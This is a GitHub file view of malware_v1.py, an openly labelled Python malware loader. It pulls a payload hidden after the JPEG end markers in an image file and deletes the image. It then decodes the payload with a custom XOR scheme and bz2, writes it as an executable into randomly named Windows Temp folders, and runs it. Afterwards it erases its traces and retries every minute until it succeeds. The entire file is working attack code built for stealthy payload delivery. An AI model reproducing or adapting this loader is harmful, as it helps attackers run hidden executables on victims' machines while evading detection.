-
Notifications
You must be signed in to change notification settings - Fork 78
/
malware_v1.py
201 lines (201 loc) · 7.11 KB
/
malware_v1.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
#######################################################################################
#
# malware_v1.py (Malware v1) [ Main Program ]
# © 2022 ABDULKADİR GÜNGÖR All Rights Reserved
# Contact email address: abdulkadir_gungor@outlook.com
#
# Developper: Abdulkadir GÜNGÖR (abdulkadir_gungor@outlook.com)
# Date: 05/2022
# All Rights Reserved (Tüm Hakları Saklıdır)
#
#######################################################################################
import os, bz2, time, subprocess, shutil, random, string
#
#
#
class SETTINGS():
JPG_NAME = 'malwareJPG.jpg'
OUT_FILE = "malware_test.exe"
PUPLIC_KEY = b'!AbdUlkadiR%+39608]gunGor[{'
PRIVATE_NUMBER = 19
BUFFER = 1024
WAIT_TIME = 0.1
#
#
#
class RandomTmp:
def __init__(self):
self.__topfolder = None
self.__subfolder = None
self.__files = []
self.__iserror = False
cn = random.sample(string.digits + string.ascii_uppercase, k=12)
dn = random.sample(string.digits, k=4)
ucn = random.sample(string.ascii_uppercase, k=8)
directory0 = ucn[0] + cn[0] + dn[0] + cn[1] + cn[2] + cn[3] + cn[4] + ucn[1] + "-"
directory0 += ucn[2] + cn[5] + dn[1] + ucn[3] + "-"
directory0 += ucn[4] + dn[2] + cn[6] + ucn[5] + "-"
directory0 += ucn[6] + cn[7] + cn[8] + cn[9] + cn[10] + dn[3] + cn[11] + ucn[7]
del cn, dn, ucn
cn = random.sample(string.digits + string.ascii_lowercase, k=6)
dn = random.sample(string.digits, k=2)
lcn = random.sample(string.ascii_uppercase, k=3)
directory1 = lcn[0] + dn[0] + cn[0] + cn[1] + cn[2] + cn[3] + cn[4] + lcn[1] + "." + cn[5] + dn[1] + lcn[2]
del cn, dn, lcn
try:
self.__topfolder = os.environ['USERPROFILE'] + "\\AppData\\Local\\Temp\\" + directory0
os.mkdir(self.__topfolder)
self.__subfolder = self.__topfolder + "\\" + directory1
os.mkdir(self.__subfolder)
except:
self.__iserror = True
del directory0, directory1
#
def directoryPath(self):
if self.__iserror:
return False, ""
else:
return True, self.__subfolder
#
def createFilename(self):
nn = random.sample(string.digits + string.ascii_lowercase, k=28)
name = nn[0] + nn[1] + nn[2] + nn[3] + nn[4] + nn[5] + nn[6] + nn[7]
name += nn[8] + nn[9] + nn[10] + nn[11] + nn[12] + nn[13] + nn[14] + nn[15]
name += nn[16] + nn[17] + nn[18] + nn[19] + nn[20] + nn[21] + nn[22] + nn[23]
name += "." + nn[24] + nn[25] + "bin" + nn[26] + nn[27]
if self.__iserror:
return False, ""
else:
tmp = self.__subfolder + "\\" + name
self.__files.append(tmp)
return True, tmp
#
def addFilename(self, file: str):
if self.__iserror:
return False, ""
else:
tmp = self.__subfolder + "\\" + file
self.__files.append(tmp)
return True, tmp
#
def finish(self):
self.__iserror = True
for f_name in self.__files:
try:
os.remove(f_name)
except:
pass
self.__files = []
try:
shutil.rmtree(self.__subfolder, ignore_errors=False, onerror=None)
except:
pass
self.__subfolder = ""
try:
shutil.rmtree(self.__topfolder, ignore_errors=False, onerror=None)
except:
pass
self.__topfolder = ""
#
def __del__(self):
self.finish()
#
def bytesXOR(plain_text, public_key, private_number):
public_number = 3
private_key = b'#$0aSpYt3ehR7%|\&/*QVzX12}-'
len_key = len(public_key)
public_encoded = []
result_encoded = []
return_encoded = []
for i in range(0, len(plain_text)):
public_encoded.append(plain_text[i] ^ public_key[ (i+public_number) % len_key])
private_encoded = bytes([b ^ len(private_key) for b in (bytes(public_encoded))])
for i in range(0, len(private_encoded)):
result_encoded.append(private_encoded[i] ^ private_key[ (i+private_number) % len_key])
for i in range(0, len(result_encoded)):
return_encoded.append(result_encoded[i] ^ public_key[ (i+public_number) % len_key])
return bytes(return_encoded)
#
def runMalware(settings):
try:
cd = RandomTmp()
cd2 = RandomTmp()
buffer0 = cd.createFilename()[1]
buffer1 = cd.createFilename()[1]
buffer2 = cd.createFilename()[1]
out_file = cd2.addFilename(file=(settings.OUT_FILE))[1]
except:
return False
#
try:
if buffer0 == "" or buffer1 == "" or buffer2 == "" or out_file == "" :
return False
with open(file=settings.JPG_NAME, mode='rb') as readfile:
rb = readfile.read()
rb_list = rb.split(sep=b'\xff\xd9')
del rb
if len(rb_list) < 3:
return False
else:
if len(rb_list) == 3:
payload = rb_list[1]
else:
payload = b''
for ii in range(1, (len(rb_list) - 1)):
if ii == 1:
payload += rb_list[ii]
else:
payload += (b'\xff\xd9' + rb_list[ii])
del rb_list
os.remove(settings.JPG_NAME)
time.sleep(settings.WAIT_TIME)
#
with open(file=buffer0, mode='wb') as wfile:
wfile.write(payload)
del payload
with open(file=buffer0, mode='rb') as rfile:
with open(file=buffer1, mode='wb') as wfile:
while True:
data = rfile.read(settings.BUFFER)
if data == b'':
break
wfile.write( bytesXOR(data, settings.PUPLIC_KEY, settings.PRIVATE_NUMBER) )
os.remove(buffer0)
with bz2.open(filename=buffer1, mode='rb') as rfile:
with open(file=buffer2, mode='wb') as wfile:
while True:
data = rfile.read(settings.BUFFER)
if data == b'':
break
wfile.write(data)
os.remove(buffer1)
if not os.access(buffer2, os.F_OK):
return False
if os.access(out_file, os.F_OK):
os.remove(out_file)
try:
shutil.copy2(buffer2, out_file)
except:
return False
if not os.access(out_file, os.F_OK):
return False
#
cd.finish()
time.sleep(settings.WAIT_TIME)
subprocess.run([out_file])
time.sleep(settings.WAIT_TIME)
cd2.finish()
time.sleep(settings.WAIT_TIME)
return True
except:
return False
###--- Main ---###
if __name__ == '__main__':
while True:
try:
res = runMalware(SETTINGS)
if res:
break
except:
pass
time.sleep(60)